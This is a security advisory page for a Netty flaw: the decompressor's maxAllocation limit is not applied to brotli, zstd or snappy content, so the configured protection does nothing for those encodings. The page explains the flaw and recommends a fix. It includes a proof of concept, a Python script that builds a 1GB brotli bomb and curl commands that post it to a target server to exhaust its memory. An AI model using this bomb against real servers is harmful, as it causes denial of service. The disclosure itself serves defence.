Vulnerability details

7.5/10
CVSS 3.1
GHSA-f6hv-jmp6-3vwv
resolved Published 2026-05-07 Updated 2026-05-14
Vulnerability Data from Dependency-Track
Description
## Summary `HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections. ## Details `HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler. For gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`: ```java // HttpContentDecompressor.java:101 — maxAllocation IS enforced .handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation)) ``` `ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer's `maxCapacity` and throwing `DecompressionException` when the limit is reached: ```java // ZlibDecoder.java:68 — hard limit on buffer capacity return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation); // ZlibDecoder.java:80 — throws when exceeded throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity()); ``` For brotli, zstd, and snappy, the decoders are created without any size limit: ```java // HttpContentDecompressor.java:120 — maxAllocation IGNORED .handlers(new BrotliDecoder()) // HttpContentDecompressor.java:129 — maxAllocation IGNORED .handlers(new SnappyFrameDecoder()) // HttpContentDecompressor.java:138 — maxAllocation IGNORED .handlers(new ZstdDecoder()) ``` `BrotliDecoder` has no `maxAllocation` parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit. `ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded. The identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2. ## PoC 1. Configure a Netty HTTP server with decompression bomb protection: ```java pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max ``` 2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed): ```python import brotli bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros compressed = brotli.compress(bomb, quality=11) with open('bomb.br', 'wb') as f: f.write(compressed) # compressed size: ~1KB ``` 3. Send the bomb with gzip encoding (BLOCKED by maxAllocation): ```bash # This is caught — ZlibDecoder enforces the 1MB limit curl -X POST http://target:8080/api \ -H 'Content-Encoding: gzip' \ --data-binary @bomb.gz # Result: DecompressionException thrown at 1MB ``` 4. Send the same bomb with brotli encoding (BYPASSES maxAllocation): ```bash # This bypasses the limit — BrotliDecoder has no maxAllocation curl -X POST http://target:8080/api \ -H 'Content-Encoding: br' \ --data-binary @bomb.br # Result: Full 1GB decompressed into memory → OOM ``` 5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`. ## Impact - **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding. - **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely. - **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2). ## Recommended Fix Pass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter: **HttpContentDecompressor.java** — pass maxAllocation to all decoders: ```java // Line 120: BrotliDecoder — add maxAllocation support .handlers(new BrotliDecoder(maxAllocation)) // Line 129: SnappyFrameDecoder — add maxAllocation support .handlers(new SnappyFrameDecoder(maxAllocation)) // Line 138: ZstdDecoder — forward the configured maxAllocation .handlers(new ZstdDecoder(maxAllocation)) ``` **DelegatingDecompressorFrameListener.java** — same fix at lines 188-210. **BrotliDecoder** — add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit. **SnappyFrameDecoder** — add `maxAllocation` parameter with equivalent enforcement. **ZstdDecoder** — ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).
Same vulnerability as
CVE-2026-42587 resolved according to EUVD-2026-30130
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.